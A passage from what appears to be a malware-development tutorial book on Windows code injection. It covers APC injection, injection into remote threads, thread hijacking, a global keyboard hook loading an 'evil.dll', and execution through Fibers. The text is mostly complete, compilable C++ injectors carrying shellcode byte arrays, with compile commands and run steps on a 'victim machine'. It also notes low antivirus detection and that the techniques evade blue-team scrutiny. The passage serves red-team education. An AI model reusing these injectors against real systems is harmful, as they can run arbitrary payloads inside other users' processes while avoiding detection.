0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

int main(int argc, char* argv[]) {


SIZE_T my_payload_len = sizeof(my_payload);
HMODULE hNtdll = GetModuleHandleA("ntdll");
myNtTestAlert testAlert = (myNtTestAlert)(
GetProcAddress(hNtdll, "NtTestAlert"));

LPVOID my_payload_mem = VirtualAlloc(NULL, my_payload_len,


MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(),
my_payload_mem, my_payload,
my_payload_len, NULL);

PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)


my_payload_mem;

109
QueueUserAPC(
(PAPCFUNC)apcRoutine,
GetCurrentThread(), NULL
);
testAlert();

return 0;
}
For simplicity, we use 64-bit calc.exe as the payload.
The flow of this technique is simple. Firstly, we allocate memory in the local process
for our payload:

Then write our payload to newly allocated memory:

Then queue an APC to the current thread:

Finally, call NtTestAlert:

110
Let’s go to compile our code:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

And run on victim machine (Windows 7 x64 in my case):

And If open our hack.exe malware in Ghidra:

111
the NtTestAlert function call is not suspicious. So the advantage of this technique is
that it does not rely on CreateThread or CreateRemoteThread API calls which are
more popular and suspicious and which is more closely investigated by the blue teamers.
APC MSDN
QueueUserAPC
VirtualAlloc
WriteProcessMemory
GetModuleHandleA
GetProcAddress
APC technique MITRE ATT&CK
NTAPI Undocumented Functions - NtTestAlert
Ghidra - NSA
Source Code in Github
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.

112
APC injection via alertable threads. Simple C++ malware.

Today I will discuss about simplest APC injection technique. I’m going to talk about
APC injection in remote threads. In the simplest way, inject APC into all of the target
process threads, as there is no function to find if a thread is alertable or not and we can
assume one of the threads is alertable and run our APC job.

example
The flow is this technique is simple:
• Find the target process id
• Allocate space in the target process for our payload
• Write payload in the allocated space.
• Find target process threads
• Queue an APC to all of them to execute our payload
For the first step, we need to find the process id of our target process. For this I used a
function from my past section about find process:

113
The full source code of this function:
int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;

114
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}
Then, allocate space in the target process for our payload:

As you can see, we should allocate this location with PAGE_EXECUTE_READWRITE per-
missions which is meaning execute, read and write.
In the next step, we write our payload to allocated memory:

Then find target process threads. For this I wrote another function getTids:

115
which finds all threads by process PID. We enum all threads and if the thread belongs
to our target process we push it to our tids vector.
Then queue an APC to all threads to execute our payload:

As you can see we queue an APC to the thread using the QueueUserAPC function. the
first parameter should be a pointer to the function that we want to execute which is a
pointer to my payload and the second parameter is a handle to the remote thread.
Let’s take a look at full C++ source code of our malware:
/*
hack.cpp
APC injection via Queue an APC into all the threads
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/11/22/malware-injection-5.html
*/

116
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <vector>

unsigned char my_payload[] = {


0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

unsigned int my_payload_len = sizeof(my_payload);

// get process PID


int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;

117
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

// find process threads by PID


DWORD getTids(DWORD pid, std::vector<DWORD>& tids) {
HANDLE hSnapshot;
THREADENTRY32 te;
te.dwSize = sizeof(THREADENTRY32);

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);


if (Thread32First(hSnapshot, &te)) {
do {
if (pid == te.th32OwnerProcessID) {
tids.push_back(te.th32ThreadID);
}
} while (Thread32Next(hSnapshot, &te));
}

CloseHandle(hSnapshot);
return !tids.empty();
}

118
int main(int argc, char* argv[]) {
DWORD pid = 0; // process ID
HANDLE ph; // process handle
HANDLE ht; // thread handle
LPVOID rb; // remote buffer
std::vector<DWORD> tids; // thread IDs

pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);

if (ph == NULL) {
printf("OpenProcess failed! exiting...\n");
return -2;
}

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL,
my_payload_len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

// write payload to memory buffer


WriteProcessMemory(ph, rb,
my_payload,
my_payload_len, NULL);

if (getTids(pid, tids)) {
for (DWORD tid : tids) {
HANDLE ht = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (ht) {
QueueUserAPC((PAPCFUNC)rb, ht, NULL);
printf("payload injected via QueueUserAPC\n");
CloseHandle(ht);
}
}
}
CloseHandle(ph);
}
return 0;

119
}
As usually, for simplicity, we use 64-bit calc.exe as the payload and print message for
demonstration.
Let’s go to compile our code:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then firstly run mspaint.exe on victim machine (Windows 7 x64 in my case):

120
Then run our malware:
.\hack.exe mspaint.exe

As you can see everything is work perfectly.


Also perfectly worked on Windows 10 x64:

121
But I noticed than on my Windows 7 x64 machine target process is crashed:

I have not yet figured out why this is happened.


The problem with this technique is that it’s unpredictable somehow, and in many cases,
it can run our payload multiple times. And as for the target process, I think svchost
or explorer.exe is good choice as their almost always has alertable threads.
APC MSDN
QueueUserAPC

122
CreateToolhelp32Snapshot
Process32First
Process32Next
strcmp
Taking a Snapshot and Viewing Processes
Thread32First
Thread32Next
CloseHandle
VirtualAllocEx
WriteProcessMemory
Source code in Github

123
16. code injection via thread hijacking. Simple C++ malware.

what does it mean?


Today I will discuss about code injection to remote process via thread hijacking. This
is about code injection via hijacking threads instead of creating a remote thread. There
are methods of code injection where you can create a thread from another process using
CreateRemoteThread at an executable code location, I wrote about this here. Or for
example, classic DLL Injection via CreateRemoteThread and executing LoadLibrary,
passing an argument in the CreateRemoteThread. My post about this technique.

example
Let’s go to look an example which demonstrates this technique:
/*
hack.cpp
code injection via thread hijacking
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/23/malware-injection-6.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

unsigned char my_payload[] = {


0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,

124
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

unsigned int my_payload_len = sizeof(my_payload);

// get process PID


int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

125
// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

int main(int argc, char* argv[]) {


DWORD pid = 0; // process ID
HANDLE ph; // process handle
HANDLE ht; // thread handle
LPVOID rb; // remote buffer

HANDLE hSnapshot;
THREADENTRY32 te;
CONTEXT ct;

pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);

ct.ContextFlags = CONTEXT_FULL;
te.dwSize = sizeof(THREADENTRY32);

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);

if (ph == NULL) {
printf("OpenProcess failed! exiting...\n");
return -2;
}

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, my_payload_len,

126
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

// write payload to memory buffer


WriteProcessMemory(ph, rb, my_payload,
my_payload_len, NULL);

// find thread ID for hijacking


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (Thread32First(hSnapshot, &te)) {
do {
if (pid == te.th32OwnerProcessID) {
ht = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
break;
}
} while (Thread32Next(hSnapshot, &te));
}

// suspend target thread


SuspendThread(ht);
GetThreadContext(ht, &ct);
// update register (RIP)
ct.Rip = (DWORD_PTR)rb;
SetThreadContext(ht, &ct);
ResumeThread(ht);

CloseHandle(ph);
}
return 0;
}
As usually, for simplicity, we use 64-bit calc.exe as the payload.
As you can see, for finding process by name I used a function findMyProc from my
past post. Then, the main function is like my code from this post about “classic” code
injection to remote process. The only difference in logic: we hijack remote thread
instead creating new one.
The flow is this technique is: firstly, we find the target process:

127
Then, as usually, allocate space in the target process for our payload:

and write our payload in the allocated space:

The next step we find a thread ID of the thread we want to hijack in the target process.
In our case, we will fetch the thread ID of the first thread in our target process. We
will leverage CreateToolhelp32Snapshot to create a snapshot of target process’s

128
threads and enum them with Thread32Next. This will give us the thread ID we will
be hijacking:

Then, suspend the target thread which we want to hijack:

After that, getting the context of the target thread:

Update the target thread’s register RIP (instruction pointer on 64-bit) to point to our

129
payload:

But there are the caveat, which is called “SetThreadContext anomaly”. For some pro-
cesses, the volatile registers (RAX, RCX, RDX, R8-R11) are set by SetThreadContext,
for other processes (e.g. Explorer, Edge) they are ignored. Best not rely on
SetThreadContext to set those registers.
Commit the hijacked thread:

And in the next step resume hijacked thread:

130
As you can see, it’s not so difficult. Let’s go to compile this malware code:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive >/dev/null 2>&1

Then on victim machine let’s first launch a notepad.exe instance and then execute our
program:
.\hack.exe notepad.exe

131
and our payload code is still working after close victim process notepad.exe:

As you can see our logic perfectly worked!


Thread execution hijacking
CreateToolhelp32Snapshot
Process32First
Process32Next
strcmp
Taking a Snapchot and Viewing Processes
Thread32First

132
Thread32Next
CloseHandle
VirtualAllocEx
WriteProcessMemory
SuspendThread
GetThreadContext
SetThreadContext
ResumeThread
“Classic” code injection
“Classic” DLL injection
Source code in Github

133
17. classic DLL injection via SetWindowsHookEx. Simple C++ mal-
ware.

In this tutorial, I’ll take a look at the DLL injection by using the SetWindowsHookEx
method.

SetWindowsHookEx
Let’s go to look an example which demonstrates this technique. The SetWindowsHookEx
installs a hook routine into the hook chain, which is then invoked whenever certain
events are triggered. Let’s take a look at the function syntax:
HHOOK SetWindowsHookExA(
[in] int idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD dwThreadId
);
The most important param here is idHook. The type of hook to be installed, which can
hold one of the following values:
WH_CALLWNDPROC
WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_FOREGROUNDIDLE
WH_GETMESSAGE
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
WH_KEYBOARD
WH_KEYBOARD_LL
WH_MOUSE

134
WH_MOUSE_LL
WH_MSGFILTER
WH_SHELL
WH_SYSMSGFILTER
In our case, I’ll be hooking the WH_KEYBOARD type of event, which will allow us to
monitor keystroke messages.

malicious DLL
Let’s go to prepare our malicious DLL. For simplicity, we create DLL which just pop-up
a message box:
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/25/malware-injection-7.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

extern "C" __declspec(dllexport) int Meow() {


MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
return 0;

135
}
As you can see we have a pretty simple DLL. The DllMain() function is called when the
DLL is loaded into the process’s address space. There’s also a function named Meow(),
which is an exported function and which is just pop-up message “Meow from evil.dll!”.

example. simple malware.


The next thing that we need to do is create our malware. Let’s go to look the source
code:
/*
hack.cpp
DLL inject via SetWindowsHookEx
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/25/malware-injection-7.html
*/
#include <windows.h>
#include <cstdio>

typedef int (__cdecl *MeowProc)();

int main(void) {
HINSTANCE meowDll;
MeowProc meowFunc;
// load evil DLL
meowDll = LoadLibrary(TEXT("evil.dll"));

// get the address of exported function from evil DLL


meowFunc = (MeowProc) GetProcAddress(meowDll, "Meow");

// install the hook - using the WH_KEYBOARD action


HHOOK hook = SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)meowFunc, meowDll, 0);
Sleep(5*1000);
UnhookWindowsHookEx(hook);

return 0;
}
It’s also pretty simple. First of all we call LoadLibrary to load our malicious DLL:

136
Then, we are calling the GetProcAddress to get the address of the exported function
Meow:

After that, the our malware calls the most important function, the SetWindowsHookEx.
The parameters passed to that function determine what the function will actually do:

137
As you can see, whenever the keyboard event will occur, our function will be called.
And we are passing the address of the our exported function - meowFunc parameter.
Also we are passing the handle to our DLL - meowDll parameter. The last parameter 0
specifies that we want all programs to be hooked, not just a specific one, so it’s a global
hook.
Then we call Sleep:

for demonstrate that our hook works.


Then we call the UnhookWindowsHookEx() function to unhook the previously hooked
WH_KEYBOARD action:

138
So finally after we understood entire code of the malware, we can test it.
Let’s go to compile malicious DLL firstly:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive

compile malware code:


x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then, see everything in action! Start our hack.exe on the victim machine (Windows

139
7 x64):
.\hack.exe

We can see that everything was completed successfully and at this point whenever we
start a program, pop-up our message only when keyboard key is pressed.

Conclusion
In this section, I’ve demonstrate how we can use the SetWindowsHookEx function to
inject the DLL into the process’s address space and execute arbitrary code inside the
process’s address space.
There is a caveat. This technique is not working in my Windows 10 x64 machine. I
think the reason is this: CIG block this technique. Windows 10 x64 have two important
things:
• CFG (Control Flow Guard) – prevent indirect calls to non-approved addresses
• CIG (Code Integrity Guard) - only allow modules signed by Mi-
crosoft/Microsoft Store/WHQL to be loaded into the process memory.
In this presentation from BlackHat USA 2019, the authors explain that CIG block this
technique.
Let’s go to upload our hack.exe to virustotal:

140
https://www.virustotal.com/gui/file/273e191999eb6a4bc010eeaf9c4e196d91750925
0f87a121fa1cfeded41b7921
So, 5 of 67 AV engines detect our file as malicious.
BlackHat USA 2019 process injection techniques Gotta Catch Them All
SetWindowsHookEx
Using Hooks MSDN
Exporting from a DLL
Source code in Github

141
18. code injection via windows Fibers. Simple C++ malware.

In this post, I’ll take a look at the code injection to local process through Windows Fibers
API.
A fiber is a unit of execution that must be manually scheduled by the application. Fibers
run in the context of the threads that schedule them.

example
Let’s go to consider an example which demonstrate this technique.
Firstly, before scheduling the first fiber, call the ConvertThreadToFiber function to
create an area in which to save fiber state information:

Then, allocate some memory for our payload and payload is written to the allocated
memory:

142
As you can see, VirtualAlloc called with PAGE_EXECUTE_READWRITE parameter,
which means executable, readable and writeable.
The next step is create a fiber that will execute the our payload:

And finally, schedule the newly created fiber that points to our payload:

143
So, our full source code is (hack.cpp):
/*
hack.cpp
code inject via fibers
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/28/malware-injection-8.html
*/
#include <windows.h>

unsigned char my_payload[] = {


0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,

144
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

unsigned int my_payload_len = sizeof(my_payload);

int main() {

PVOID f; // converted
PVOID payload_mem; // memory buffer for payload
PVOID payloadF; // fiber

// convert main thread to fiber


f = ConvertThreadToFiber(NULL);

// allocate memory buffer


payload_mem = VirtualAlloc(0, my_payload_len,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(payload_mem, my_payload, my_payload_len);

// create a fiber that will execute payload


payloadF = CreateFiber(NULL,
(LPFIBER_START_ROUTINE)payload_mem,
NULL);

SwitchToFiber(payloadF);
return 0;
}
As you can see for simplicity, we use 64-bit calc.exe as the payload. Without delving
into the generation of the payload, we will simply insert payload into our code:
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
